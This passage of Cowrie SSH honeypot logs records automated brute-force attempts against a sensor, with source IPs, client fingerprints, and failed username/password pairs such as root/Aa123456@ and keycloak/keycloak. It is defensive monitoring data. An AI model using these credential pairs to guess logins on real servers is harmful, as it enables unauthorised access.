ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:56.101185Z","src_ip":"176.65.139.95","session":"51cad5336767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yealink","password":"yealink","message":"login attempt [yealink/yealink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:56.584234Z","src_ip":"176.65.139.95","session":"51cad5336767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:57.682824Z","src_ip":"176.65.139.95","session":"51cad5336767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.0","message":"Connection lost after 14.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:58.718845Z","src_ip":"178.128.199.27","session":"d096db16b3ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.199.27","src_port":44532,"dst_ip":"10.17.0.5","dst_port":22,"session":"172bc4eaee52","protocol":"ssh","message":"New connection: 178.128.199.27:44532 (10.17.0.5:22) [session: 172bc4eaee52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:59.161892Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52594,"dst_ip":"159.203.135.109","dst_port":22,"session":"39a8e7e16d19","protocol":"ssh","message":"New connection: 176.65.139.95:52594 (159.203.135.109:22) [session: 39a8e7e16d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:02.391027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:02.597034Z","src_ip":"176.65.139.95","session":"39a8e7e16d19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:02.694620Z","src_ip":"176.65.139.95","session":"39a8e7e16d19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stream","password":"stream","message":"login attempt [stream/stream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:03.103020Z","src_ip":"176.65.139.95","session":"39a8e7e16d19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:04.201392Z","src_ip":"176.65.139.95","session":"39a8e7e16d19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51130,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f6be38a1514","protocol":"ssh","message":"New connection: 176.65.139.95:51130 (159.203.135.109:22) [session: 1f6be38a1514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:08.966263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:08.975116Z","src_ip":"176.65.139.95","session":"1f6be38a1514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:09.080902Z","src_ip":"176.65.139.95","session":"1f6be38a1514","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:09.460521Z","src_ip":"176.65.139.95","session":"1f6be38a1514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:10.546768Z","src_ip":"176.65.139.95","session":"1f6be38a1514","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51134,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b2b9741463e","protocol":"ssh","message":"New connection: 176.65.139.95:51134 (159.203.135.109:22) [session: 5b2b9741463e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:15.404552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:15.418236Z","src_ip":"176.65.139.95","session":"5b2b9741463e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:15.508236Z","src_ip":"176.65.139.95","session":"5b2b9741463e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37480,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0fc9486708b","protocol":"ssh","message":"New connection: 159.203.92.129:37480 (159.203.135.109:22) [session: c0fc9486708b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:15.552042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:15.561781Z","src_ip":"159.203.92.129","session":"c0fc9486708b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:15.568302Z","src_ip":"159.203.92.129","session":"c0fc9486708b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing@1234","message":"login attempt [testing/testing@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:15.806886Z","src_ip":"176.65.139.95","session":"5b2b9741463e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Lingqingzhao","password":"123456","message":"login attempt [Lingqingzhao/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:16.279929Z","src_ip":"159.203.92.129","session":"c0fc9486708b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:16.895613Z","src_ip":"176.65.139.95","session":"5b2b9741463e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:17.385926Z","src_ip":"159.203.92.129","session":"c0fc9486708b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.0","message":"Connection lost after 21.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:20.175025Z","src_ip":"178.128.199.27","session":"172bc4eaee52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35172,"dst_ip":"159.203.135.109","dst_port":22,"session":"e83001dbe82b","protocol":"ssh","message":"New connection: 176.65.139.95:35172 (159.203.135.109:22) [session: e83001dbe82b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:21.801282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:21.868128Z","src_ip":"176.65.139.95","session":"e83001dbe82b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:22.036591Z","src_ip":"176.65.139.95","session":"e83001dbe82b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keycloak","password":"keycloak","message":"login attempt [keycloak/keycloak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:22.487097Z","src_ip":"176.65.139.95","session":"e83001dbe82b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:23.574642Z","src_ip":"176.65.139.95","session":"e83001dbe82b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35188,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9c405bca7ad","protocol":"ssh","message":"New connection: 176.65.139.95:35188 (159.203.135.109:22) [session: e9c405bca7ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:28.570234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:28.576814Z","src_ip":"176.65.139.95","session":"e9c405bca7ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:28.659530Z","src_ip":"176.65.139.95","session":"e9c405bca7ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:28.970361Z","src_ip":"176.65.139.95","session":"e9c405bca7ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:30.058669Z","src_ip":"176.65.139.95","session":"e9c405bca7ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38258,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaba95596ac9","protocol":"ssh","message":"New connection: 176.65.139.95:38258 (159.203.135.109:22) [session: eaba95596ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:34.947479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:34.959978Z","src_ip":"176.65.139.95","session":"eaba95596ac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:35.050969Z","src_ip":"176.65.139.95","session":"eaba95596ac9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:35.339515Z","src_ip":"176.65.139.95","session":"eaba95596ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:36.448070Z","src_ip":"176.65.139.95","session":"eaba95596ac9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47038,"dst_ip":"159.203.135.109","dst_port":22,"session":"d905facb9d83","protocol":"ssh","message":"New connection: 176.65.139.95:47038 (159.203.135.109:22) [session: d905facb9d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:41.637259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:41.642199Z","src_ip":"176.65.139.95","session":"d905facb9d83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 